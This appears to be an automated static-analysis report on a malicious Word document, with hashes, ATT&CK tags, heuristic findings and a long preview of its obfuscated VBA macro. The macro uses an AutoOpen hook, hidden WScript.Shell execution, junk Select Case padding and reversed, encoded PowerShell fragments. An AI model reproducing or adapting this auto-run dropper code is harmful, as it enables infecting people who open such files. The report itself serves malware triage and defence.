Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 30d4e38cbd6a33ac…

MALICIOUS

Office (OLE)

174.0 KB Created: 2018-03-15 17:51:00 Authoring application: Microsoft Office Word First seen: 2018-07-18
MD5: 8d0d64badbec02f341be3a0b96eaeeee SHA-1: f19bd578d3df03001cd0fef19b33f892fd00055b SHA-256: 30d4e38cbd6a33ac3c5fb12b57bdd024044e9e8c5720cecc152a940dc032a8a6
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a Microsoft Office document containing a malicious VBA macro. The macro utilizes WScript.Shell and CreateObject, indicating an attempt to execute arbitrary code. The presence of 'AutoOpen' and 'Shell()' calls strongly suggests the macro is designed to download and execute a second-stage payload upon opening the document. The obfuscated nature of the script prevents a more detailed analysis of its specific actions or the identification of a concrete family.

Heuristics 9

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
          End Select
CreateObject("WScript.Shell").Run EvnBVhppKiiW + YsRQRhRM + fNWiAiwhh + LXDkSYbKZ, vbHide
Select Case aFIVza
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
          End Select
CreateObject("WScript.Shell").Run EvnBVhppKiiW + YsRQRhRM + fNWiAiwhh + LXDkSYbKZ, vbHide
Select Case aFIVza
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub AutoOpen()
On Error Resume Next
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 59616 bytes
SHA-256: dc91e6e2965fe2d4dcaa6fd665af5b1de7b297de3a68cdf098cf0d3afccc5615
Detection
ClamAV: No threats found
Obfuscation or payload: likely
451 of 783 identifiers look randomly generated (e.g. 'AAjBgZAADAmBwNAQDAmBQMAQDA3AgYAYGAyAQNAg') — consistent with name-mangling obfuscation. Carved artifact contains 19 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "aRrkGEd"
Function TAtVMAPi()
On Error Resume Next
Select Case AowFqz
         Case 10103
            CoowUz = Fix(94147)
            jaklt = Int(57963)
         Case 20273
            DmOJk = nzjWL
            UfIlp = ChrW(wrjwr)
      End Select
WrXzZNfn = inzYrH + BUSbw("T[kEOfjBAMAgDA3AAOAIGAyAgMAUDA3AQMAYDAxAwYAUDAlBQNAgDAlBgNAMDAwAAZAcDAhBwYAQGA1AQYAIGA0AgNAYGAyAQZAEGAjBgYAUDA2AANAADAiBANAMGA1An.pc<Tizzw", 11, 122)
Select Case AowFqz
         Case 10103
            CoowUz = Fix(94147)
            jaklt = Int(57963)
         Case 20273
            DmOJk = nzjWL
            UfIlp = ChrW(wrjwr)
      End Select
Select Case ijNOn
         Case 7961
            YiHGzi = Fix(17126)
            DJrIV = Int(57791)
         Case 70326
            uDkUJi = STsqR
            wZfCj = ChrW(GipTs)
      End Select
GlouVVdFWil = WVVqKko + BUSbw("c]IEXZpHFk7 KlAgYAEGAjBgMAUGA1AwMAQDAkBwYAcDAhBgZAUGAzAgNAcDAyAwNAYDAmBQMAYGA2AQMAADAlBQMAgDA0AwMAMDAzAQZAEGAiBANAUGAhBwYAQDA2AANAYDAyAwMAEDAyAAZAIDA4AwMAIGAiBQNAkDA7w[HCXOp(zl91wKnzkk", 20, 151)
Select Case ijNOn
         Case 7961
            YiHGzi = Fix(17126)
            DJrIV = Int(57791)
         Case 70326
            uDkUJi = STsqR
            wZfCj = ChrW(GipTs)
      End Select
Select Case HNpGYX
         Case 18434
            rOiWpq = Fix(59048)
            InRfi = Int(19659)
         Case 26073
            krDljQ = oCCBnt
            nNzEb = ChrW(bsCYtE)
      End Select
NTEQaiLznaf = dRXWC + BUSbw("NlctaoY(F02aIAEDAiBwMAMGAmBQZAADAjBAZAYGA0AwNAIDAkBAZAYDAkBwNAADAhBAO#fJW70walF", 11, 56)
Select Case HNpGYX
         Case 18434
            rOiWpq = Fix(59048)
            InRfi = Int(19659)
         Case 26073
            krDljQ = oCCBnt
            nNzEb = ChrW(bsCYtE)
      End Select
Select Case CUrmu
         Case 62541
            BNwNi = Fix(21769)
            tnQNPI = Int(97783)
         Case 95091
            qEAWn = CqnnBO
            AkWQH = ChrW(fHulwq)
      End Select
PKTbLdGiJw = FimRz + BUSbw("ScwAYGAhBAOAIDAiBgNAEGAxAQZAkDAjBQNAQGAxAQYAYGAxAgZAMGAhBgZAQDAiBQNAcDAwAwMAUDAhBwNAUGA5AwYAUGAiBgMAMDAkBAMAkDAyAANAIDAzAQYAYDAyAgZAYDAiBQOAEDAiBwMAMDR44kV#fkIFK", 12, 147)
Select Case CUrmu
         Case 62541
            BNwNi = Fix(21769)
            tnQNPI = Int(97783)
         Case 95091
            qEAWn = CqnnBO
            AkWQH = ChrW(fHulwq)
      End Select
Select Case wHiaS
         Case 92834
            CzYcW = Fix(68088)
            uqABQS = Int(55807)
         Case 93530
            oWvbas = WXWsXU
            pZtJOd = ChrW(YuzcC)
      End Select
VtiMpRIzQoE = VPvmkI + BUSbw("OU7lC<Xk Bo5@owMAQGAyAAMAkDA2AQOAcDA2AQYAIDAhBANAIDAxAQNAEGAjBAMAIGAzAgNAIGAjBAOAYDA5AQYAYGAzAAOAYDA1AAZAUDAyAQZAIGAkBQZAcDAkBgNAEGA5AQMAUGAyAAOAEDA3AAMAMDA0w[IXwzi#1M", 11, 143)
Select Case wHiaS
         Case 92834
            CzYcW = Fix(68088)
            uqABQS = Int(55807)
         Case 93530
            oWvbas = WXWsXU
            pZtJOd = ChrW(YuzcC)
      End Select
Select Case TmHPPz
         Case 24592
            RaowtU = Fix(90330)
            XVFwr = Int(32640)
         Case 79544
            JklAE = pUJPP
            HiaMF = ChrW(dQZUiZ)
      End Select
GrCvmdtE = BojjqzM + BUSbw("7u@.ERwWDAlBQMAYDAiBQZAEDAzAgNAgDAmBgMAgDAiBgYAQGA4AAZAUDA1AQYAUGAyAQYAgDAxAAMAMDA3AwNAYDAmBAMAQDAyAAZAMGAlBgNAEGA3AQOAcDAhBwMAEDA1Ag@5W", 4, 125)
Select Case TmHPPz
         Case 24592
            RaowtU = Fix(90330)
            XVFwr = Int(32640)
         Case 79544
            JklAE = pUJPP
            HiaMF = ChrW(dQZUiZ)
      End Select
Select Case pEzQoB
         Case 50800
            ioHbc = Fix(43289)
            uTkSdq = Int(68482)
         Case 2334
            KUJER = wEHBKd
            OFDmtA = ChrW(LXMzG)
      End Select
ilDAV = aqNhj + BUSbw("KpjKKOA1AANAADA3AQOAQDAzAwMAMGAmBwNAMGA5AANAMDAiBgZAgDA4AQ0WlT!nNl9wOnE", 14, 52)
Select Case pEzQoB
         Case 50800
            ioHbc = Fix(43289)
            uTkSdq = Int(68482)
         Case 2334
            KUJER = wEHBKd
            OFDmtA = ChrW(LXMzG)
      End Select
Select Case XSIwi
         Case 26619
            JocSkJ = Fix(55443)
            blURi = Int(40262)
         Case 44721
            zbsVQi = IIkCL
            IpNGGf = ChrW(IpkdB)
      End Select
zGkCaNdG = dcAiwFC + BUSbw("01Z[3O[FT!FC<wMAkDAiBwYAIGAmBQMAEGAkBQMAQKfTlH<9E", 9, 28)
Select Case XSIwi
         Case 26619
            JocSkJ = Fix(55443)
            blURi = Int(40262)
         Case 44721
            zbsVQi = IIkCL
            IpNGGf = ChrW(IpkdB)
      End Select
Select Case bpPNdV
         Case 28515
            CzMbU = Fix(21922)
            DAfCv = Int(75678)
         Case 38789
            nZDslE = RpzLIP
            RvEbED = ChrW(aMtWYW)
      End Select
mGnjOu = OKDjAAA + BUSbw("IwqFVR@kcGAjBgZAYGA4AAMAYDAyAQOAIGAmBgZAQGAkBQMAADAmBgMAcDAmBAMAYDA0AQMAIDAkBAZAUDA2AAMAEGAlBAOAEDAwAAMAcDAmBAZAQDAxAQZAMDA2AQYAUGA0AQZAcDA1AAZAQDA5AAZAEDA2AQNAYGA5AgMAUDAkBQY)oXtu](f#Aw!", 13, 166)
Select Case bpPNdV
         Case 28515
            CzMbU = Fix(21922)
            DAfCv = Int(75678)
         Case 38789
            nZDslE = RpzLIP
            RvEbED = ChrW(aMtWYW)
      End Select
Select Case jzEdH
         Case 21700
            TBEOR = Fix(10144)
            TWFVN = Int(52328)
         Case 8665
            JHWnU = NaEAS
            nfEuH = ChrW(oEaAu)
      End Select
HlzzURArJdF = PsQGG + BUSbw("A@p7#jVVH)7cjMAIDAyAwYAYDAlBQNAEGA2AAZAcDA1AgNAYDAzAAOAYDA2AAOAYGAyAAOAIGAlBgNAUGAlBQYAYGAlBgYAUGAjBgYAMDAmBwYAEDA2AwYAMGAwAAZAcDAjBQNAMGAlBgYAYGAjBQOAcDA1AAMAMDAjBQMAQDAkBgMAkDAmBgNAIDA4AwYAUApmu", 5, 179)
Select Case jzEdH
         Case 21700
            TBEOR = Fix(10144)
            TWFVN = Int(52328)
         Case 8665
            JHWnU = NaEAS
            nfEuH = ChrW(oEaAu)
      End Select
Select Case zpIqwm
         Case 91029
            uPRsN = Fix(69680)
            vplrAH = Int(58701)
         Case 52667
            FqOpN = KNzdo
            lPhjl = ChrW(PpBwC)
      End Select
cKpwazFQ = idRVZXd + BUSbw("X.4 KSJffqBwMAUDA3AANAQGAwAQNAQGAmBQOAQGAmBQNAcDA0AgMAMGA5AwNAQGAlBQZAEGAhBgZAEDAiBgMAMGAxAANAQGA3AgZAEGA0AQZAMGAwAQYAADAmBgMAYGAjBgNAIDAiBQOAEDA2AgNAMGAzAwYAII7V.j3", 7, 149)
Select Case zpIqwm
         Case 91029
            uPRsN = Fix(69680)
            vplrAH = Int(58701)
         Case 52667
            FqOpN = KNzdo
            lPhjl = ChrW(PpBwC)
      End Select
Select Case fPMlXw
         Case 41424
            CSjNo = Fix(2848)
            WjYLI = Int(74399)
         Case 64134
            AoszwP = oiiENB
            dcUwF = ChrW(hijWQA)
      End Select
torvHzTzjvm = uuPKut + BUSbw("uoF[XiGAhBQZAMDA4AQYAcDAhBAZAQGAzAwMAMDAhBgZAYGAkBgZAMDAyAgMAEGA4AQZAYDAjBQNAEDA1AwYAkDAwAANAgDA1AgMAYGAwAQNAgDA1AAOAEGA2AgZAIDN4jw0pj[7V@6o", 14, 121)
Select Case fPMlXw
         Case 41424
            CSjNo = Fix(2848)
            WjYLI = Int(74399)
         Case 64134
            AoszwP = oiiENB
            dcUwF = ChrW(hijWQA)
      End Select
Select Case HlhvL
         Case 29974
            dUjnBi = Fix(84238)
            CNvozv = Int(90616)
         Case 56741
            uzGLQ = liSpPa
            ZStYJ = ChrW(RCIwbJ)
      End Select
fjGjq = wsZdsw + BUSbw("1m[o.1@p[1!XRF71Tj.9]zoT!XAMGA0AwYAMDA1AwYAIDA1AgZAYDA3AAOAYDA1AwMAEGA2AQOAEDAlBAOAgDAhBwYAYDA3AgMAEDAhBQMAcDAxAwNAIDAhBANAYGAwAQOAkDAjBAMAQDA2AAZAYGAmBANAQDAzAAZkJj 2K", 7, 136)
Select Case HlhvL
         Case 29974
            dUjnBi = Fix(84238)
            CNvozv = Int(90616)
         Case 56741
            uzGLQ = liSpPa
            ZStYJ = ChrW(RCIwbJ)
      End Select
Select Case GsIpN
         Case 66655
            SCKfGo = Fix(86603)
            uElwH = Int(40037)
         Case 44707
            sCioYJ = kOtIw
            qGzNm = ChrW(Nuwwi)
      End Select
hTXjVNbOwNY = wSOMG + BUSbw("ii2E[KQMAIGA2AgYAQGAhBgYAUDAhBQZAIDA5AwNAEDAyAgNAUGA3AQMAX9LR@7])1uK44AI", 16, 51)
Select Case GsIpN
         Case 66655
            SCKfGo = Fix(86603)
            uElwH = Int(40037)
         Case 44707
            sCioYJ = kOtIw
            qGzNm = ChrW(Nuwwi)
      End Select
Select Case FwtCz
         Case 95235
            SFhMu = Fix(69802)
            uLwfNN = Int(28004)
         Case 45070
            nDNIK = NlGYV
            EjQHaY = ChrW(EhRunK)
      End Select
jiCJzhNIK = oBDiCzt + BUSbw("JRW@t#0bD5%nZmbHZ.HwI#wb#I]N[.4AJ#ODA4AwYAYDAzAQYAMDA5AQMAUGAiBgNAYDAwAQNAQGAlBQNAUGA1AgMAUDA3AQNAADAjBgZAgDAjBwNAcDA1AAZAUDA4AAMAADAwAgNAADAxAQYAYGAxAgMAUGAhBQNAQDA1AgNAQDA4AgMAUDAmBQZAQDA0AQYAIGAjBwMAMGAyAQYAMGAmBAOAYDAhB0", 2, 188)
Select Case FwtCz
         Case 95235
            SFhMu = Fix(69802)
            uLwfNN = Int(28004)
         Case 45070
            nDNIK = NlGYV
            EjQHaY = ChrW(EhRunK)
      End Select
Select Case vcAKba
         Case 19818
            QBXiP = Fix(36864)
            vDaOf = Int(62772)
         Case 85974
            QdhmP = NrQQkL
            zAwXMj = ChrW(NFUsVj)
      End Select
jjWVKcnq = RWYtm + BUSbw("TcMkEcXEcRkBgYAEGAjBgZAMGA4AAZAYDA4AgYAEGAxAQYAQGAlBAOAkDA4AQNAQDAkBgZAEGA5AANAIGAxAANAEGAkBwYAQDAwAQOAIDAzAwMAcDAyAgMAIDTK1MbRHETTt[", 13, 111)
Select Case vcAKba
         Case 19818
            QBXiP = Fix(36864)
            vDaOf = Int(62772)
         Case 85974
            QdhmP = NrQQkL
            zAwXMj = ChrW(NFUsVj)
      End Select
Select Case RFXPI
         Case 54969
            UpVooR = Fix(16689)
            Pkblik = Int(69116)
         Case 72449
            AGiNI = HaHiDJ
            PNSMJ = ChrW(XiPIZ)
      End Select
JVqjWZQNzw = GSizK + BUSbw("itcjI.zjV ]@4!tIZuZEbQMAcDAkBAZAMDAxAQOAIGAhBQYAUDA1AQZAYGAlBQNAMGAxAAZAgDA4AANAQDAiBgZAIGAiBgMAkDA0AgYAQDAzAwYAUO", 2, 92)
Select Case RFXPI
         Case 54969
            UpVooR = Fix(16689)
            Pkblik = Int(69116)
         Case 72449
            AGiNI = HaHiDJ
            PNSMJ = ChrW(XiPIZ)
      End Select
Select Case zAzzNm
         Case 62265
            tAljv = Fix(89688)
            SJdBLw = Int(73776)
         Case 27992
            ABPnG = uizVid
            UznKT = ChrW(MjXjC)
      End Select
SlzVZZ = ECBwGm + BUSbw("#EmAu7 ) ))) )002,271,99,22jnjYv3[!KE7cO3tTqnozcz19JEK", 28, 21)
Select Case zAzzNm
         Case 62265
            tAljv = Fix(89688)
            SJdBLw = Int(73776)
         Case 27992
            ABPnG = uizVid
            UznKT = ChrW(MjXjC)
      End Select
Select Case JKrdT
         Case 99277
            EaJlJ = Fix(53171)
            KMMTT = Int(32863)
         Case 77882
            NLVhWL = vEYFr
            wSwiw = ChrW(uNkpMf)
      End Select
vzazHpT = GjIzrk + BUSbw("pcNF.f3i.cDAlBwYAMDAlBgNAMDu!p3Wck", 8, 18)
Select Case JKrdT
         Case 99277
            EaJlJ = Fix(53171)
            KMMTT = Int(32863)
         Case 77882
            NLVhWL = vEYFr
            wSwiw = ChrW(uNkpMf)
      End Select
Select Case FLzrR
         Case 20941
            ojaKz = Fix(53714)
            Xfcfwp = Int(9407)
         Case 74660
            zCovr = trjpZ
            miEsX = ChrW(tBAVj)
      End Select
NoodUGviKvw = KYZISDf + BUSbw("fbIFKYRN]AYDA4AAZAYGAit.c4O4T1k.#m", 13, 13)
Select Case FLzrR
         Case 20941
            ojaKz = Fix(53714)
            Xfcfwp = Int(9407)
         Case 74660
            zCovr = trjpZ
            miEsX = ChrW(tBAVj)
      End Select
Select Case AcGfi
         Case 73698
            OPcRP = Fix(43206)
            HDafFH = Int(27086)
         Case 39285
            UYzvr = niZmz
            YnXDLY = ChrW(Cjhsdi)
      End Select
Ezmfv = fAMGc + BUSbw("RMtWRQlnoIX3otZIER<RYmAgMAIGAyAAMAEDA0AwMAcDAzAAMAUDAxAgYAcDAjBAMAMGAjBgMAkDA3AwYAQGAlBQYAYGA5AAOAQDAyAwMAEGA3AQYAkDAwAQMAM#t]ETcKE@AY<0", 14, 101)
Select Case AcGfi
         Case 73698
            OPcRP = Fix(43206)
            HDafFH = Int(27086)
         Case 39285
            UYzvr = niZmz
            YnXDLY = ChrW(Cjhsdi)
      End Select
Select Case BjZAcD
         Case 45750
            WwFmK = Fix(30473)
            mhJLpU = Int(5576)
         Case 29076
            fZssz = nuzzI
            OaziK = ChrW(cvZdz)
      End Select
VAGPs = DdGbA + BUSbw("#Rco7XRkwWDfXAUDA2AANAcDAhBANAIDAxAAOAEGAiBgNAUDA2AAOAEDAlBgZAQGAkBwNAcDAyAQOAkDAyAwNAIGAkBgZAEGAiBH3%4tBtmcXDwTmYcL<", 19, 86)
Select Case BjZAcD
         Case 45750
            WwFmK = Fix(30473)
            mhJLpU = Int(5576)
         Case 29076
            fZssz = nuzzI
            OaziK = ChrW(cvZdz)
      End Select
Select Case CCYsZ
         Case 27081
            Ohhjnw = Fix(41451)
            tiZJBj = Int(10029)
         Case 96196
            DWhWE = zXOOnw
            lDwzo = ChrW(QuSOTF)
      End Select
SREXDWipTK = zjbabn + BUSbw("KkAAEGAhBANAEDA3AQMAYGA1AQMAYDAzAAOAEDAiBgZAUGA1AwNAIDAkBAMAIDAzAwMAIGA5AgYAYGA2AgYAUDAzAwYfO%mZ0XOcN(KcfIvEO", 19, 88)
Select Case CCYsZ
         Case 27081
            Ohhjnw = Fix(41451)
            tiZJBj = Int(10029)
         Case 96196
            DWhWE = zXOOnw
            lDwzo = ChrW(QuSOTF)
      End Select
Select Case GORzaj
         Case 74540
            wfXmm = Fix(37394)
            UjsiG = Int(35138)
         Case 97222
            PLoJU = CbJaG
            AIjDY = ChrW(kdUNaQ)
      End Select
nqMMLHIDrS = aMPrj + BUSbw("1anTDtRZ9A0AgMAQGA5AQMAADAlBAOAMDA0AgYAIDAwAAZAUGAmBgZAMDAh05z", 4, 50)
Select Case GORzaj
         Case 74540
            wfXmm = Fix(37394)
            UjsiG = Int(35138)
         Case 97222
            PLoJU = CbJaG
            AIjDY = ChrW(kdUNaQ)
      End Select
Select Case DMoFw
         Case 58474
            vuRiGS = Fix(60833)
            BicLs = Int(38957)
         Case 54824
            uqhkW = lBiONV
            kzKjns = ChrW(Lzvvn)
      End Select
icvmss = lMGQdTZ + BUSbw("A34U9o11,26,202,532,44,832,911,061,98,632,43,922,04,33,971,252,442,74,791,402,92,161,29,691,28,252,87,632,361 YEk- GnIRTSeRUceS-otTRevnOc |'==AAjBgZAADAmBwNAQDAmBQMAQDA3AgYAYGAyAQNAgDAjBgNAT![0N[6X7O]@c0pj", 17, 182)
Select Case DMoFw
         Case 58474
            vuRiGS = Fix(60833)
            BicLs = Int(38957)
         Case 54824
            uqhkW = lBiONV
            kzKjns = ChrW(Lzvvn)
      End Select
Select Case iPoLWr
         Case 75897
            PipZFf = Fix(69152)
            CBXOP = Int(84100)
         Case 39588
            ZIfUCG = BiuWk
            CfwtN = ChrW(dEiUFc)
      End Select
wUIdb = scYGrua + BUSbw("!oCZ(.9.niNJ5EkW##KAwAQNAEGAyAQNAYGAzAAZAEDAwAQOAEGAjBQZAQGAzAgZAUDA5AQNAEGA3AQYAUDAkBgNAIGAlBwYAYDAiBgYAUDAxAgYAcDAjBgZAEDA3AQYAMGAyAAZAQDAwAwYAYGA[.ojz1Mu<kcu ", 14, 129)
Select Case iPoLWr
         Case 75897
            PipZFf = Fix(69152)
            CBXOP = Int(84100)
         Case 39588
            ZIfUCG = BiuWk
            CfwtN = ChrW(dEiUFc)
      End Select
Select Case cHFZV
         Case 15162
            wsnRzs = Fix(41416)
            XtwOo = Int(79354)
         Case 78797
            FTrfzh = PEqutT
            zBqONt = ChrW(SOhQa)
      End Select
GKOJnWcf = fbllaq + BUSbw("AVfZTkMTjjlt5NwMAMDA3j21I@@oTl", 11, 6)
Select Case cHFZV
         Case 15162
            wsnRzs = Fix(41416)
            XtwOo = Int(79354)
         Case 78797
            FTrfzh = PEqutT
            zBqONt = ChrW(SOhQa)
      End Select
Select Case daXaTs
         Case 86114
            KKKifj = Fix(37875)
            NKKrO = Int(30667)
         Case 32396
            UiYlm = hnPRS
            CIpjbQ = ChrW(BAZha)
      End Select
zwcXoWFVA = RzMIjnj + BUSbw("<mMAEDAjBwYAEDAzAQMAEDAhBwMAIGAlBAMAMGAlBQYAYDAkBAOAUGtctfJK0I", 9, 52)
Select Case daXaTs
         Case 86114
            KKKifj = Fix(37875)
            NKKrO = Int(30667)
         Case 32396
            UiYlm = hnPRS
            CIpjbQ = ChrW(BAZha)
      End Select
Select Case hzmzXp
         Case 60404
            XRKlB = Fix(21303)
            VCorqi = Int(92545)
         Case 28713
            wwjzSA = wcuYl
            VkVjAn = ChrW(GmsSGN)
      End Select
IcnPTPmlIR = FQwnhZ + BUSbw("AQ0KBAZAcDAhBAMAMGAzAAMAUGA5AQZAYGAzAgNAMDAiBgMAIGAxAgMAQGAkBQZAEDA5AgYAgDA0AAMAQGAlBQMAQDAxAAOAYDAhBAZAMDAjBwMAcDA3AgYAMGA0AgNAUGA3AwNAMGAyAQNAEGAzAgMAEGA1AwNAYDAxAQNAUGA0AAMAYGAkBgZAQGAkBADlmDIu(JT9", 11, 186)
Select Case hzmzXp
         Case 60404
            XRKlB = Fix(21303)
            VCorqi = Int(92545)
         Case 28713
            wwjzSA = wcuYl
            VkVjAn = ChrW(GmsSGN)
      End Select
Select Case AwXNb
         Case 43526
            BXOqlJ = Fix(49539)
            saArBW = Int(2010)
         Case 43295
            iuCoP = OMjLB
            RsjKC = ChrW(aXVanj)
      End Select
izojPWaWW = ztTLl + BUSbw("1pcQ.A0AQZAYGA5AwNAIGAlBQYAkDA0AwYAADAiBANAEGAyAgMAMDAmBwNAIGA3AwMAUDA4AANAUGA4AQYAkDAxAQOAADA2AQMAUGAlBgMAMGA2AQYAkDAkBwYAcDAkBQNAYGA3AgNAUGA0AQYAIDA2AAMAQGA1RT47fATC<OSo1zA[IX", 19, 154)
Select Case AwXNb
         Case 43526
            BXOqlJ = Fix(49539)
            saArBW = Int(2010)
         Case 43295
            iuCoP = OMjLB
            RsjKC = ChrW(aXVanj)
      End Select
Select Case IVtfW
         Case 10691
            duTMi = Fix(50595)
            JuroKj = Int(191)
         Case 34988
            IEzKi = VONja
            kmNNvY = ChrW(JZLNj)
      End Select
wWzBKEtzNjA = HrDjX + BUSbw("zONZc%ob!NAkDA5AQMAgDA2AAOAADAyAQOAYDAjBQOAQDAmBQOAMDA0AgMAYDA2AAMAEDA1AwNAgDA5AQYAIGAzAgYAQGAjBAMAEDA4AgNAUDA3AgMAADA1AQZAIGAzAgNAYGAiBgMAQDAyAAMAADAlBgNAUDAzAQNATu]4b#RX!", 10, 154)
Select Case IVtfW
         Case 10691
            duTMi = Fix(50595)
            JuroKj = Int(191)
         Case 34988
            IEzKi = VONja
            kmNNvY = ChrW(JZLNj)
      End Select
Select Case EWLrs
         Case 58563
            RDjCoY = Fix(92452)
            zilvI = Int(58097)
         Case 40180
            swLzi = uRcMHB
            jwTAKd = ChrW(OIWzMb)
      End Select
Gkjjjac = KFsMEk + BUSbw("#Oi)f7RbkTDA3AgNAMDAyAqWt.", 5, 12)
Select Case EWLrs
         Case 58563
            RDjCoY = Fix(92452)
            zilvI = Int(58097)
         Case 40180
            swLzi = uRcMHB
            jwTAKd = ChrW(OIWzMb)
      End Select
Select Case AWsWNC
         Case 10067
            ArdQE = Fix(97024)
            TiMln = Int(33988)
         Case 60553
            wZNifO = GjNfsu
            PLAlw = ChrW(HBtCb)
      End Select
wdDZmRz = GizHv + BUSbw("tj5(Kj#OtOlqKTFAzAQMRTF50", 6, 5)
Select Case AWsWNC
         Case 10067
            ArdQE = Fix(97024)
            TiMln = Int(33988)
         Case 60553
            wZNifO = GjNfsu
            PLAlw = ChrW(HBtCb)
      End Select
Select Case tcAMF
         Case 9274
            VPVNn = Fix(44482)
            QhYdM = Int(54471)
         Case 81934
            CDQdk = EfpDV
            jCiTCV = ChrW(cDibaU)
      End Select
KIvsYKU = kBTtl + BUSbw("@[HcF0J0flmrAM.sECivResPoreTNI.EMiTnur[(eKOvNi.)eMan.]0[)(sRebMEMtEG.]laHsrAm.seCIVRESpOrETNI.emItNUr[(::]LAhSrAM.secivrESporEtNi.emiTnUR[ ( ( )'']TQJ0", 6, 135)
Select Case tcAMF
         Case 9274
            VPVNn = Fix(44482)
            QhYdM = Int(54471)
         Case 81934
            CDQdk = EfpDV
            jCiTCV = ChrW(cDibaU)
      End Select
Select Case OmKiDU
         Case 93969
            qBfjX = Fix(70570)
            JAzrX = Int(64338)
         Case 98593
            djOXsl = fWAuOu
            EnmOq = ChrW(shzXnb)
      End Select
AUilcJiJAj = jrCTWiY + BUSbw("o!zOW04[FJVT0FKVuiISioAhBQZAQDAzAgZAkDAyAQOAUDAzAgYAYDAwAgZAEDAmBAOAUGA4AgYAYGAmBgYAgDA2AAMAEGAkBAOAgDAwAQYAMDAyAgNAIGoWccpQFluk<Z(", 14, 96)
Select Case OmKiDU
         Case 93969
            qBfjX = Fix(70570)
            JAzrX = Int(64338)
         Case 98593
            djOXsl = fWAuOu
            EnmOq = ChrW(shzXnb)
      End Select
Select Case nwlrXa
         Case 76040
            IicLQP = Fix(69119)
            VuBjra = Int(14696)
         Case 31365
            SqYaUu = cMKPzi
            EliULw = ChrW(PzMKnj)
      End Select
LHwTDo = zYkCI + BUSbw("CWbojKRuNIOj-'x'+]3,1[)EcNErEFeRPESOBrEv$]GniRts[( (.c9#TR0", 7, 45)
Select Case nwlrXa
         Case 76040
            IicLQP = Fix(69119)
            VuBjra = Int(14696)
         Case 31365
            SqYaUu = cMKPzi
            EliULw = ChrW(PzMKnj)
      End Select
Select Case MbjNu
         Case 45351
            mHZbDS = Fix(96783)
            GndvWj = Int(81907)
         Case 83039
            DjwGm = DNuQLb
            AHCha = ChrW(iwEbf)
      End Select
YIjXLImp = hwMrVM + BUSbw(".TtZAUDA1AgZAIGAkBki4p[VIl", 9, 14)
Select Case MbjNu
         Case 45351
            mHZbDS = Fix(96783)
            GndvWj = Int(81907)
         Case 83039
            DjwGm = DNuQLb
            AHCha = ChrW(iwEbf)
      End Select
Select Case WciJQu
         Case 33226
            WlvdLj = Fix(16531)
            MaSsl = Int(62593)
         Case 96629
            KdjZo = kKaKv
            PFswU = ChrW(GijfS)
      End Select
JJHjAH = njiKIWV + BUSbw("ORJ.llFK.IE0wRAitcIDAyAwMAMGAxAQOAMDA0AwNAUGA1AQYAIGAyAQMAYGAyAgMAEGAmBAOAUDAjBAMAUDAiBQYAIGAxAwNAEGA4AAOAYDAjBQYAYTT A#pFITI2Z0YOL.I7", 20, 97)
Select Case WciJQu
         Case 33226
            WlvdLj = Fix(16531)
            MaSsl = Int(62593)
         Case 96629
            KdjZo = kKaKv
            PFswU = ChrW(GijfS)
      End Select
Select Case plFdr
         Case 50687
            vbvBps = Fix(96245)
            OzaQJP = Int(50221)
         Case 81436
            uTRFZl = lmpTnm
            ijEGWC = ChrW(vaziz)
      End Select
FRkwuc = LifUWs + BUSbw("EjUT[m.KJn)QO[].RiaA4AwMAIDAhBQZAEGA1AANAMGAwAwNAUGAkBgZAIDAhBQZAkDAlBQYAQGAwAgY#kWIVS9Dl5tICCY1", 17, 61)
Select Case plFdr
         Case 50687
            vbvBps = Fix(96245)
            OzaQJP = Int(50221)
         Case 81436
            uTRFZl = lmpTnm
            ijEGWC = ChrW(vaziz)
      End Select
Select Case QzPoWE
         Case 40798
            jIZMq = Fix(63035)
            oCVpI = Int(59453)
         Case 7356
            vrwfrP = BQdwD
            wlXdK = ChrW(viqqk)
      End Select
quANNZuZ = mRLFOvd + BUSbw("@cp(EGAyAAMAMDAxAgYAEGA5AgNAQGAxAgYAADAxAgZAUGAkBgMAYGA1AQNAIGAwAwMAADAzAAMAYDAwAgNAQDAjBQNAMGA5AwYAADAiBQNAQGAiBgNAcD0vm!#oMm(jI]SnOTF(", 19, 114)
Select Case QzPoWE
         Case 40798
            jIZMq = Fix(63035)
            oCVpI = Int(59453)
         Case 7356
            vrwfrP = BQdwD
            wlXdK = ChrW(viqqk)
      End Select
Select Case ZEYpvb
         Case 69441
            VfcmTN = Fix(51676)
            YYlDj = Int(18188)
         Case 97496
            OYNHjN = RPnYL
            wQtsr = ChrW(HiCzjW)
      End Select
